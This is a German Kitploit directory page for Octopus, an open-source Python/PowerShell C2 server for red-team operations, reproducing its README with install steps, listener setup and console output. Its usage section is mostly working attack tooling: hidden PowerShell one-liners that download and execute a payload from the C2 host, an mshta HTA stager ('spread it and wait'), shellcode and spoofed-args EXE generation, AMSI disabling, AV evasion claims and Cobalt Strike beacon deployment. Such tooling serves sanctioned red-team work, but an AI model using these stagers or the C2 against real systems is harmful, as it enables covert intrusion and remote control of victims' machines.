Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Octopus — Open-Source-Pre-Operation-C2-Server basierend auf Python und PowerShell | Kitploit
Tools/GitHubGitHub/mhaskar/octopus
Verschlüsselungs-/EntschlüsselungstoolsPayload-GenerierungInformationsbeschaffungPenetrationstestsCommand and ControlRed Teaming
GitHubmhaskar/octopus

Octopus

Open-Source-Pre-Operation-C2-Server basierend auf Python und PowerShell

Repository anzeigen
763155vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Was ist Octopus ?

Octopus ist ein Open-Source C2-Server für die Vorbereitungsphase, der auf Python basiert und einen Octopus PowerShell-Agenten über HTTP/S steuern kann.

Der Hauptzweck von Octopus ist der Einsatz vor einer Red-Team-Operation. Anstatt die eigentliche Operation mit dem gesamten Arsenal und der Infrastruktur zu beginnen, kann Octopus zuerst verwendet werden, um das Ziel anzugreifen und Informationen zu sammeln, bevor die eigentliche Red-Team-Operation startet.

Octopus arbeitet auf sehr einfache Weise: Es führt Befehle aus und tauscht Informationen mit dem C2 über einen gut verschlüsselten Kanal aus. Dadurch bleibt es unauffällig und von nahezu jeder AV-, Endpoint-Schutz- und Netzwerküberwachungslösung unerkannt.

Eine coole Funktion von Octopus heißt ESA, was für 'Endpoint Situational Awareness' (Endpunkt-Situationsbewusstsein) steht. Diese sammelt wichtige Informationen über das Ziel, um ein besseres Verständnis der Netzwerk-Endpunkte zu gewinnen, denen man während der Operation gegenübersteht. So kann man die eigentliche Operation anhand dieser Informationen anpassen.

Octopus ist so konzipiert, dass es bei der Kommunikation mit dem C2 heimlich und verdeckt bleibt. Standardmäßig wird AES-256 für den verschlüsselten Kanal zwischen dem PowerShell-Agenten und dem C2-Server verwendet. Optional kann auch SSL/TLS genutzt werden, indem ein gültiges Zertifikat für die eigene Domain bereitgestellt und der Octopus C2-Server entsprechend konfiguriert wird.

Wichtige Funktionen von Octopus

Octopus ist mit einer Reihe von Funktionen ausgestattet, die es ermöglichen, Einblicke in den bevorstehenden Einsatz zu gewinnen, bevor das gesamte Arsenal oder die Tools und Techniken zum Einsatz kommen müssen, wie z. B.:

  • Steuerung von Agenten über HTTP/S.
  • Ausführen von Systembefehlen.
  • Herunterladen / Hochladen von Dateien.
  • Laden externer PowerShell-Module.
  • Verwendung verschlüsselter Kanäle (AES-256) zwischen C2 und Agenten.
  • Einsatz unauffälliger Techniken zur Befehlsausführung und Ergebnisübertragung.
  • Erstellung benutzerdefinierter und mehrerer Listener für jedes Ziel.
  • Generierung verschiedener Payload-Typen.
  • Unterstützung aller Windows-Versionen mit PowerShell 2.0 und höher.
  • Ausführung des Octopus-Windows-Executable-Agenten, ohne den powershell.exe-Prozess zu berühren.
  • Automatische Informationssammlung vom Endpunkt (Endpoint Situational Awareness) – Funktion.

Voraussetzungen

Sie können alle Abhängigkeiten von Octopus wie folgt installieren:

pip install -r requirements.txt

Sie müssen nasm für Linux und den Compiler mingw-w64 installieren, um die Shellcoding-Funktion und den Spoofed-Args-Agenten nutzen zu können.

Sie können nasm auf Debian-basierten Distributionen mit folgendem Befehl installieren:

apt install nasm

Und mingw-w64 auf Debian-basierten Distributionen mit:

apt install mingw-w64

Octopus wurde auf den folgenden Betriebssystemen getestet:

  • Ubuntu (18.04)
  • Ubuntu (16.04)
  • Kali Linux (2019.2)

Sie müssen auch Mono installieren, um sicherzustellen, dass der C#-Quellcode problemlos kompiliert werden kann.

Octopus verwendet das Mono-csc-Binary zur Kompilierung des C#-Quellcodes. Sie können es mit folgendem Befehl installieren: apt install mono-devel, was auf Kali und Ubuntu 16.04 getestet wurde.

Sie können Octopus auch ohne Mono verwenden, können dann aber den Befehl generate_exe nicht nutzen.

Beachten Sie auch, dass die Kompilierung von C# von der Assembly System.Management.Automation.dll mit dem SHA1-Hash a43ed886b68c6ee913da85df9ad2064f1d81c470 abhängt.

Wenn Sie auf Probleme mit Octopus stoßen, können Sie gerne einen Fehlerbericht einreichen!

Installation

Laden Sie zunächst die neueste Version von Octopus mit folgendem Befehl herunter:

git clone https://github.com/mhaskar/Octopus/

Installieren Sie dann die Abhängigkeiten mit folgendem Befehl:

pip install -r requirements.txt

Anschließend können Sie den Octopus-Server mit folgendem Befehl starten:

./octopus.py

Nach dem Start wird Folgendes angezeigt:

root@kitploit:~
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py



      ___           ___                       ___           ___         ___           ___
     /  /\         /  /\          ___        /  /\         /  /\       /__/\         /  /\
    /  /::\       /  /:/         /  /\      /  /::\       /  /::\      \  \:\       /  /:/_
   /  /:/\:\     /  /:/         /  /:/     /  /:/\:\     /  /:/\:\      \  \:\     /  /:/ /\
  /  /:/  \:\   /  /:/  ___    /  /:/     /  /:/  \:\   /  /:/~/:/  ___  \  \:\   /  /:/ /::\
 /__/:/ \__\:\ /__/:/  /  /\  /  /::\    /__/:/ \__\:\ /__/:/ /:/  /__/\  \__\:\ /__/:/ /:/\:\
 \  \:\ /  /:/ \  \:\ /  /:/ /__/:/\:\   \  \:\ /  /:/ \  \:\/:/   \  \:\ /  /:/ \  \:\/:/~/:/
  \  \:\  /:/   \  \:\  /:/  \__\/  \:\   \  \:\  /:/   \  \::/     \  \:\  /:/   \  \::/ /:/
   \  \:\/:/     \  \:\/:/        \  \:\   \  \:\/:/     \  \:\      \  \:\/:/     \__\/ /:/
    \  \::/       \  \::/          \__\/    \  \::/       \  \:\      \  \::/        /__/:/
     \__\/         \__\/                     \__\/         \__\/       \__\/         \__\/


                    v1.2 stable !


 Octopus C2 | Control your shells


Octopus >>

Verwendung

Octopus ist recht einfach zu bedienen. Es muss lediglich ein Listener gestartet und ein Agent basierend auf den Informationen dieses Listeners generiert werden.

Es können beliebig viele Listener erstellt und anschließend mit den Agenten interagiert werden, die sich mit ihnen verbinden.

Profileinrichtung

Bevor Octopus verwendet werden kann, muss ein URL-Handling-Profil eingerichtet werden, das das Verhalten und die Funktionen des C2 steuert. Da Octopus ein HTTP-basierter C2 ist, werden URLs zur Verwaltung der Verbindungen verwendet. Um zu verhindern, dass die URLs als Signaturen oder IoC im angegriffenen Netzwerk dienen, können die URLs nach Bedarf einfach angepasst und umbenannt werden.

Die Profileinrichtung unterstützt derzeit nur URL-Handling, Auto-Kill-Wert und Header.

Profil einrichten

Um das Profil einzurichten, muss die Datei profile.py bearbeitet werden, die mehrere wichtige Variablen enthält:

  • file_reciever_url: Verarbeitet das Herunterladen von Dateien.
  • report_url: Verarbeitet ESA-Berichte.
  • command_send_url: Verarbeitet die Befehle, die an das Ziel gesendet werden.
  • command_receiver_url: Verarbeitet die Befehle, die auf dem Ziel ausgeführt werden.
  • first_ping_url: Verarbeitet die erste Verbindung vom Ziel.
  • server_response_header: Dieser Header wird in jeder Antwort angezeigt.
  • auto_kill: Variable zur Steuerung, wann der Agent nach N fehlgeschlagenen Verbindungen mit dem C2 beendet wird.

Beispiel:

root@kitploit:~
#!/usr/bin/python3

# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers

# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"


# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"

# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"


# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"


# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"

# will return in every response as Server header
server_response_header = "nginx"

# will return white page that includes HTA script
mshta_url = "/hta"

# auto kill value after n tries

auto_kill = 10


Der Agent und die Listener werden so konfiguriert, dass dieses Profil zur Kommunikation verwendet wird. Als Nächstes muss die Erstellung eines Listeners erläutert werden.

Listener

Octopus verfügt über zwei Haupt-Listener: "http listener" und "https listener". Die Optionen beider Listener sind weitgehend identisch.

HTTP-Listener:

Der Befehl listen_http akzeptiert folgende Argumente zum Start:

  • BindIP: Definiert die IP-Adresse, die vom Listener verwendet wird.
  • BindPort: Definiert den Port, auf dem gelauscht werden soll.
  • Hostname: Wird verwendet, um den Payload anzufordern.
  • Interval: Anzahl der Sekunden, die der Agent wartet, bevor er nach Befehlen sucht.
  • URL: Der Name der Seite, die den Payload hostet.
  • Listener_name: Name des zu verwendenden Listeners.

Ein Beispiel kann durch die Ausführung des Befehls listen_http angezeigt werden:

root@kitploit:~
Octopus >>listen_http
[-] Please check listener arguments !
Syntax  : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener

##########
Options info :

BindIP  		IP address that will be used by the listener
BindPort  		port you want to listen on
Hostname 		will be used to request the payload from
Interval 		how may seconds that agent will wait before check for commands
URL  			page name will hold the payload
Listener_name  	listener name to use

Octopus >>

Ein Listener kann mit folgendem Befehl gestartet werden:

listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1

Das Ergebnis sieht wie folgt aus:

root@kitploit:~
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

Ein Listener wurde erfolgreich gestartet. Alle Listener können mit dem Befehl listeners angezeigt werden:

root@kitploit:~
Octopus >>listeners


Name        IP         Port  Host             Interval  Path      SSL
----------  -------  ------  -------------  ----------  --------  -----
operation1  0.0.0.0    8080  192.168.178.1           5  page.php  False


Octopus >>

HTTPS-Listener:

Ein HTTPS-Listener kann mit dem Befehl listen_https erstellt werden:

root@kitploit:~
Octopus >>listen_https
[-] Please check listener arguments !
Syntax  : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

Der Befehl listen_https akzeptiert folgende Argumente zum Start:

  • BindIP: IP-Adresse, die vom Listener verwendet wird.
  • BindPort: Port, auf dem gelauscht werden soll.
  • Hostname: Wird verwendet, um den Payload anzufordern.
  • Interval: Anzahl der Sekunden, die der Agent vor der nächsten Befehlsabfrage wartet.
  • URL: Seitenname, der den Payload enthält.
  • Listener_name: Name des Listeners.
  • certficate_path: Pfad zu einem gültigen SSL-Zertifikat (bei Letsencrypt-Zertifikaten als fullchain.pem bezeichnet).
  • key_path: Pfad zum zugehörigen SSL-Schlüssel (bei Letsencrypt-Zertifikaten als key.pem bezeichnet).

Bitte beachten: Es muss ein gültiges SSL-Zertifikat bereitgestellt werden, das mit der verwendeten Domain verknüpft ist.

Agenten generieren

Powershell-Oneliner

Um einen Agenten für den Listener operation1 zu generieren, kann folgender Befehl verwendet werden:

generate_powershell operation1

Ergebnis:

root@kitploit:~
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"

Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
       e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

Hack your way in ;)
#====================

Octopus >>

Dieser Oneliner kann nun zum Starten des Agenten verwendet werden.

HTA-Oneliner

Um einen HTA-Oneliner für den Listener operation1 zu generieren, kann folgender Befehl verwendet werden:

generate_hta operation1

Ergebnis:

root@kitploit:~
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>

Beachten Sie: Die /hta-URL kann in der profile.py bearbeitet werden.

Octopus EXE-Agent

Um einen EXE-Agenten für den Listener operation1 zu generieren, kann folgender Befehl verwendet werden:

generate_unmanaged_exe operation1 /opt/Octopus/file.exe

Ergebnis:

root@kitploit:~
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>

Beachten Sie: mono-csc muss installiert sein, um den C#-Quellcode zu kompilieren.

Octopus Spoofed-Args-Agent

Ein neuer EXE-Agent kann generiert werden, der einen PowerShell-Prozess mit gefälschten Argumenten startet, basierend auf Adam Chestners brillanter Forschung.

Zur Generierung dieses EXEs kann folgender Befehl verwendet werden:

root@kitploit:~
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax :  generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>

x64- und x86-Shellcode generieren

Octopus kann ab Version 1.2 sowohl x64- als auch x86-Shellcode generieren. Der generierte Shellcode verwendet CreateProcessA, um einen PowerShell-Oneliner zu starten, der den PowerShell-Agenten ausführt.

Zur Generierung von x64-Shellcode:

root@kitploit:~
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>

Zur Generierung von x86-Shellcode:

root@kitploit:~
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>

Interaktion mit Agenten

Zunächst können alle verbundenen Agenten mit dem Befehl list aufgelistet werden:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>

Anschließend kann mit dem Befehl interact mit dem Host interagiert werden:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >>

Alle verfügbaren Befehle können mit dem Befehl help angezeigt werden:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >> help


Available commands to use :

Hint : if you want to execute system command just type it and wait for the results

+++++++++
help  				show this help menu
exit/back 			exit current session and back to the main screen
clear 				clear the screen output
download 			download file from the target machine
deploy_cobalt_beacon 		deploy cobalt strike powershell beacon in the current process
load 				load powershell module to the target machine
disable_amsi 			disable AMSI on the target machine
report 				get situation report from the target


(HR-PC-TYRMJ) >>

Ein Systembefehl kann direkt eingegeben werden. Das Ergebnis wird nach dem beim Listener eingestellten Intervall angezeigt.

root@kitploit:~
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :

Windows IP Configuration


Ethernet adapter Ethernet1:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : home
   Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
   IPv4 Address. . . . . . . . . . . : 192.168.1.43
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Ethernet adapter Ethernet:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :



(HR-PC-TYRMJ) >>

Der Befehl wurde verschlüsselt an den Agenten gesendet. Der Agent entschlüsselt und führt ihn aus, verschlüsselt das Ergebnis und sendet es zurück an den C2, der es entschlüsselt und anzeigt.

Der Befehl report kann verwendet werden, um die ESA-Informationen abzurufen:

root@kitploit:~
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV

=============
Hostname : 	HR-PC-QNGAV
Domain : 	darkside.com
OS : 		Microsoft Windows 10 Pro(64-bit)
OS build : 	10.0.17134
OS arch : 	64-bit
AntiVirus : 	Symantec
SIEM solution : False
Internal interfaces/IPs :
	IP : 192.168.178.144
	IP : 172.12.1.20


Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)


(HR-PC-TYRMJ) >>

Ein externes PowerShell-Modul kann geladen werden, indem es in das modules-Verzeichnis gelegt und dann load module.ps1 ausgeführt wird.

Alle Module im modules-Verzeichnis können mit dem Befehl modules aufgelistet werden:

root@kitploit:~
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>

Mehr über Octopus

  • Octopus v1.0 stable: Cobalt Strike deployment & much more!

  • Unveiling Octopus: The pre-operation C2 for Red Teamers

Credits

  • Ian Lyte für die Meldung mehrerer Bugs in Octopus und die Bereitstellung eines verbesserten AMSI-Bypass-Moduls.

  • Khlief für das Hinzufügen des HTA-Moduls und die Behebung eines Fehlers in der Download-Funktion.

  • Moath Maharmah für die Verbesserung des Verschlüsselungsmoduls und das Schreiben eines eigenständigen C# Octopus-Agenten, der der kommenden Version hinzugefügt wird.

  • TeslaPulse für das Testen von Octopus.

  • J005 für das Hinzufügen eines verbesserten PowerShell-Oneliners und die Behebung eines Problems im HID-Angriffsskript.

Lizenz

Dieses Projekt ist unter der GPL-3.0-Lizenz lizenziert – siehe die LICENSE-Datei für Details.

Tool herunterladen